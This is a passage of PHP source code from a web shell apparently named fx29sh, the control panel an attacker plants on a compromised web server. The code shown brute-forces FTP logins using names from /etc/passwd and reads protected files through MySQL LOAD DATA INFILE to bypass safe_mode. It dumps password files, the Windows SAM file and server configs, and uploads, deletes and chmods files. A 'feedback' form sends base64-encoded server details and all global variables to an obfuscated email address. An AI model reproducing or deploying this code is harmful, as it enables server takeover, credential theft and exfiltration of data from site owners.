borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td>
</tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>
".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "processes") {
if (!empty($kill)) {
$query = "KILL ".$kill.";";
$result = mysql_query($query, $sql_sock);
echo "<b>Process #".$kill." was killed.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333
border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>
DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td>
<td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr>
<td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."
</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row
[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\">
<u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db
($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in
safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO
TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</
b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name =
mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join
("\r\n",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists
or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br
(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb);
}
}
}
}
echo "</td></tr></table>\n";
if ($sql_sock) {
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></
tr>";
}
echo "</table>\n";
}
//End of SQL Manager
if ($act == "ftpquickbrute") {
echo "<center><table><tr><td class=barheader colspan=2>";
echo ".: Ftp Quick Brute :.</td></tr>";
echo "<tr><td>";
if ($win) { echo "Can't run on Windows!"; }
else {
function fx29ftpbrutecheck
($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/
sbin/nologin")));}
else {$TRUE = TRUE;}
if ($TRUE) {
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass)) {
echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\
"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password
\"".$pass."\"</b></a>.<br>";
ob_flush();
return TRUE;
}
}
}
if (!empty($submit)) {
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
else {
if ($fqb_logging) {
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = FALSE;}
$fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date
("d.m.Y H:i:s")."\r\n\r\n";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp)) {
$str = explode(":",fgets($fp,2048));
if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str
[6],$fqb_onlywithsh)) {
echo "<b>Connected to ".getenv("SERVER_NAME")." with login \
"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login
\"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\
n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite
($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .=
"No success. connections!\r\n";}
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.):
".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=
green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>
Connects per second: ".round($i/$ftpquick_t,2)."<br>";
$fqb_log .= "\r\n------------------------------------------\r\
nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\
r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per
second: ".round($i/$ftpquick_t,2)."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite
($fqb_logfp,$fqb_log,strlen($fqb_log));}
if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name."
report",$fqb_log);}
fclose($fqb_logfp);
}
}
else {
$logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date
("d.m.Y_H_i_s").".log";
$logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
echo "<form action=\"".$surl."\"><input type=hidden name=act value=\
"ftpquickbrute\">".
"Read first:</td><td><input type=text name=\"fqb_lenght\" value=
\"".$nixpwdperpage."\"></td></tr>".
"<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh
\" value=\"1\"> Users only with shell</td></tr>".
"<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\"
value=\"1\" checked>Logging</td></tr>".
"<tr><td>Logging to file:</td><td><input type=\"text\" name=\
"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen
($logfile)/10))."\"></td></tr>".
"<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\
"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*
(strlen($logemail)/10))."\"></td></tr>".
"<tr><td colspan=2><input type=submit name=submit value=\"Brute\
"></form>";
}
echo "</td></tr></table></center>";
}
}
if ($act == "d") {
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></
center>"; }
else {
echo "<b>Directory information:</b><table border=0 cellspacing=1
cellpadding=2>";
if (!$win) {
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?
$gr["name"]:filegroup($d));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=
".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create
time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td>
<b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr>
<tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</
td></tr></table>";
}
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();}
if ($act == "security") {
echo "<div class=barheader>.: Server Security Information :.</div>\n".
"<table>\n".
"<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
echo "<td>Password File</td><td>";
if (!$win) {
if ($nixpasswd) {
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "*nix /etc/passwd:<br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"".$surl."\"><input type=hidden name=act value=
\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>
&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&
nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\
"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e) {
$uid = posix_getpwuid($i);
if ($uid) {
$uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid
["dir"])."\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
}
else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\">
<b>Download /etc/passwd</b></a>";}
}
else {
$v = $_SERVER["WINDIR"]."\repair\sam";
if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=
".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b>
</a>"; }
}
echo "</td></tr>\n";
echo "<tr><td>Config Files</td><td>\n";
if (!$win) {
$v = array(
array("User Domains","/etc/userdomains"),
array("Cpanel Config","/var/cpanel/accounting.log"),
array("Apache Config","/usr/local/apache/conf/httpd.conf"),
array("Apache Config","/etc/httpd.conf"),
array("Syslog Config","/etc/syslog.conf"),
array("Message of The Day","/etc/motd"),
array("Hosts","/etc/hosts")
);
$sep = "/";
}
else {
$windir = $_SERVER["WINDIR"];
$etcdir = $windir . "\system32\drivers\etc\\";
$v = array(
array("Hosts",$etcdir."hosts"),
array("Local Network Map",$etcdir."networks"),
array("LM Hosts",$etcdir."lmhosts.sam"),
);
$sep = "\\";
}
foreach ($v as $sec_arr) {
$sec_f = substr(strrchr($sec_arr[1], $sep), 1);
$sec_d = rtrim($sec_arr[1],$sec_f);
$sec_full = $sec_d.$sec_f;
$sec_d = rtrim($sec_d,$sep);
if (file_get_contents($sec_full)) {
echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&
ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
}
}
echo "</td></tr>";
function displaysecinfo($name,$value) {
if (!empty($value)) {
echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre>
</td></tr>\n";
}
}
if (!$win) {
displaysecinfo("OS Version",fx29exec("cat /proc/version"));
displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep
version"));
displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
displaysecinfo("RAM",fx29exec("free -m"));
displaysecinfo("HDD Space",fx29exec("df -h"));
displaysecinfo("List of Attributes",fx29exec("lsattr -a"));
displaysecinfo("Mount Options",fx29exec("cat /etc/fstab"));
displaysecinfo("cURL installed?",fx29exec("which curl"));
displaysecinfo("lynx installed?",fx29exec("which lynx"));
displaysecinfo("links installed?",fx29exec("which links"));
displaysecinfo("fetch installed?",fx29exec("which fetch"));
displaysecinfo("GET installed?",fx29exec("which GET"));
displaysecinfo("perl installed?",fx29exec("which perl"));
displaysecinfo("Where is Apache?",fx29exec("whereis apache"));
displaysecinfo("Where is perl?",fx29exec("whereis perl"));
displaysecinfo("Locate proftpd.conf",fx29exec("locate
proftpd.conf"));
displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
displaysecinfo("Locate my.conf",fx29exec("locate my.conf"));
displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
}
else {
displaysecinfo("OS Version",fx29exec("ver"));
displaysecinfo("Account Settings",fx29exec("net accounts"));
displaysecinfo("User Accounts",fx29exec("net user"));
}
echo "</table>\n";
}
if ($act == "mkfile") {
if ($mkfile != $d) {
if (file_exists($mkfile)) { echo "<b>Make File \"".htmlspecialchars
($mkfile)."\"</b>: file already exists!"; }
elseif (!fopen($mkfile,"w")) { echo "<b>Make File \
"".htmlspecialchars($mkfile)."\"</b>: access denied!"; }
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) !=
DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else { $act = $dspact = "ls"; }
}
if ($act == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text)
{document.forms.encoder.input.value = text;}</script>".
"<form name=\"encoder\" action=\"".$surl."\" method=POST>".
"<input type=hidden name=act value=encoder>".
"<center><table class=contents>".
"<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
"<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\"
id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</
textarea><br>".
"<input type=submit value=\"calculate\"></td></tr>".
"<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
}
echo "</tr>".
"<tr><td rowspan=2>Url:</td>".
"<td>urlencode:</td><td><input type=text size=35 onFocus=\
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
"<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></
tr>".
"<tr><td rowspan=2>Base64:</td>".
"<td>base64_encode:</td><td><input type=text size=35 onFocus=\
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
"<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo
"<input type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
$debase64 = base64_decode($encoder_input);
$debase64 = str_replace("\0","[0]",$debase64);
$a = explode("\r\n",$debase64);
$rows = count($a);
$debase64 = htmlspecialchars($debase64);
if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select
()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\
"".$debase64."\" id=\"debase64\" readonly>"; }
else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=
\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\
" id=\"debase64\" readonly>".$debase64."</textarea>"; }
echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input
(document.forms.encoder.debase64.value)\">[Send to input]</a>";
}
echo "</td></tr>".
"<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=
text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\"
onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
$hex = dechex(ord($encoder_input[$i]));
if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
}
echo "\" readonly></td></tr></table></center></form>";
}
if ($act == "fsbuff") {
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>
";}
else {
$fx_infohead = "File-System Buffer";
$ls_arr = $arr;
$disp_fullpath = TRUE;
$act = "ls";
}
}
if ($act == "selfremove") {
if (($submit == $rndcode) and ($submit != "")) {
if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using
".$sh_name."!"; fx29shexit(); }
else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
}
else {
if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "<form action=\"".$surl."\">\n".
"<input type=hidden name=act value=selfremove>".
"<input type=hidden name=rndcode value=\"".$rnd."\">".
"<b>Kill-shell: ".__FILE__." <br>".
"<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&
nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\
n".
"</form>\n";
}
}
if ($act == "update") {
$ret = fx29sh_getupdate(!!$confirmupdate);
echo "<b>".$ret."</b>";
if (stristr($ret,"new version")) {
echo "<br><br><input type=button onclick=\"location.href=
'".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
}
}
if ($act == "feedback") {
$suppmail = base64_decode("aGFyYXp1a3VAeW1haWwuY29t");
if (!empty($submit)){
$ticket = substr(md5(microtime()+rand(1,1000)),0,6);
$body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars
($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\
n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
if (!empty($fdbk_ref)) {
$tmp = @ob_get_contents();
ob_clean();
phpinfo();
$phpinfo = base64_encode(ob_get_contents());
ob_clean();
echo $tmp;
$body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=
".base64_encode(serialize($GLOBALS))."\n";
}
mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM:
".$suppmail);
echo "<center><b>Thanks for your feedback! Your ticket ID:
".$ticket.".</b></center>";
}
else {
echo "<form action=\"".$surl."\" method=POST>".
"<input type=hidden name=act value=feedback>".
"<table class=contents><tr><td class=barheader colspan=2>".
".: Feedback or report bug (".str_replace(array("@","."),array("
[at]","[dot]"),$suppmail).") :.</td></tr>".
"<tr><td>Your name:</td><td><input type=\"text\" name=\
"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
"<tr><td>Your e-mail:</td><td><input type=\"text\" name=\
"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
"<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80
rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\"
name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
"<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\"
checked> Attach Server info (Recommended for bug-fix)<br>".
"*Language: English, Indonesian.</td></tr>".
"<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\
"Send\"></form></td></tr>".
"</table>\n";
}
}
if ($act == "fxmailer") {
if (!empty($submit)){
$headers = 'To: '.$dest_email."\r\n";
$headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
if (mail($suppmail,$sender_subj,$sender_body,$header)) {
echo "<center><b>Email sent!</b></center>";
}
else { echo "<center><b>Can't send email!</b></center>"; }
}
else {
echo "<form action=\"".$surl."\" method=POST>".
"<input type=hidden name=act value=fxmailer>".
"<table class=contents><tr><td class=barheader colspan=2>".
".: $sh_name Mailer :.</td></tr>".
"<tr><td>Your name:</td><td><input type=\"text\" name=\
"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
"<tr><td>Your e-mail:</td><td><input type=\"text\" name=\
"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
"<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\"
value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
"<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\
"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
"<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80
rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
"<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\
"Send\"></form></td></tr>".
"</table>\n";
}
}
if ($act == "search") {
echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp =
1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit)) {
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array(
"name"=>$search_name,
"name_regexp"=>$search_name_regexp,
"text"=>$search_text,
"text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {fx29fsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "No files found!";}
else {
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "<table class=contents>".
"<tr><td><form method=POST>".
"<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=
hidden name=act value=\"".$dspact."\">".
"File or folder Name:</td><td><input type=\"text\" name=\
"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\
"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\
"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?"
checked":"")."> - Regular Expression</td></tr>".
"<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\"
name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\
"".htmlspecialchars($search_in)."\"></td></tr>".
"<tr><td>A word or phrase in the file:</td><td><textarea name=\
"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</
textarea></td></tr>".
"<tr><td></td><td><input type=\"checkbox\" name=\
"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?"
checked":"")."> Regular Expression".
" <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\"
".($search_text_wwo == 1?" checked":"")."> Whole words only".
" <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".
($search_text_cs == 1?" checked":"")."> Case sensitive".
" <input type=\"checkbox\" name=\"search_text_not\" value=\"1\"
".($search_text_not == 1?" checked":"")."> Find files NOT containing the
text</td></tr>".
"<tr><td></td><td><input type=submit name=submit value=\"Search\">
</form></td></tr>".
"</table>\n";
if ($act == "ls") {
$dspact = $act;
echo "Search took ".$searchtime." secs (".$search_i_f." files and
".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)."
objects per second).</b>".
"<hr size=\"1\" noshade>";
}
}
if ($act == "chmod") {
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get
current value.";}
else {
$form = TRUE;
if ($chmod_submit) {
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).
($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?
1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form) {
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color
($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>
Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=
hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f
value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod>
<table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td>
<b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms
["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o
[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=
checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">
eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r]
value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=
checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;
Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?"
checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=
checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;
Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?"
checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=
1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td>
<input type=submit name=chmod_submit value=\"Save\"></td></tr></table></
form>";
}
}
}
if ($act == "upload") {
$uploadmess = "";
$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .=
DIRECTORY_SEPARATOR;}
if (!empty($submit)) {
global $_FILES;
$uploadfile = $_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"])) {
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile
["tmp_name"],$uploadpath.$destin)) {
$uploadmess .= "Error uploading file ".$uploadfile["name"]."
(can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
<br>";
}
else { $uploadmess .= "File uploaded successfully!<br>
".$uploadpath.$destin; }
}
else { echo "No file to upload!"; }
}
if ($miniform) {
echo "<b>".$uploadmess."</b>";
$act = "ls";
}
else {
echo "<table><tr><td colspan=2 class=barheader>".
".: File Upload :.</td>".
"<td colspan=2>".$uploadmess."</td></tr>".
"<tr><td><form enctype=\"multipart/form-data\" action=\
"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
"From Your Computer:</td><td><input name=\"uploadfile\" type=\
"file\"></td></tr>".
"<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text
\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
"<tr><td>Target Directory:</td><td><input name=\"uploadpath\"
size=\"70\" value=\"".$dispd."\"></td></tr>".
"<tr><td>Target File Name:</td><td><input name=uploadfilename
size=25></td></tr>".
"<tr><td></td><td><input type=checkbox name=uploadautoname value
=1 id=df4> Convert file name to lowercase</td></tr>".
"<tr><td></td><td><input type=submit name=submit value=\"Upload\
">".
"</form></td></tr></table>";
}
}
if ($act == "delete") {
$delerr = "";
foreach ($actbox as $v) {
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>
"; }
}
if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
$act = "ls";
}
if (!$usefsbuff) {
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act =
= "unselect")) {
echo "<center><b>Sorry, buffer is disabled. For enable, set directive
\"\$usefsbuff\" as TRUE.</center>";
}
}
else {
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge
($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; }
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data
["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";}
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if
(in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach
($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data
["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array();
fx29_sess_put($sess_data);}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to
".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to
".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
fx29_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>
".$psterr;}
$act = "ls";
}
elseif ($actarcbuff) {
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v) {
$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v)) {
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .=
DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = fx29exec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator
(".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("\r\n","\n",$ret);
$ret = explode("\n",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset
($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v) {
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
fx29_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$act = "ls";
}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
